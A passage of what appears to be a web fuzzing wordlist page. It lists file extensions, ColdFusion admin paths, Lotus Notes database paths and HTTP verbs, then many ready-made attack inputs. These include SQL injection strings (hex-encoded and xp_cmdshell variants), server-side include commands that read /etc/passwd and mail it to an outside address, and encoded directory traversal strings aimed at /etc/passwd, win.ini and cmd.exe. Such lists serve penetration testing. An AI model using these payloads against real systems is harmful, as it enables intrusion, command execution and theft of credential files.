/> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> 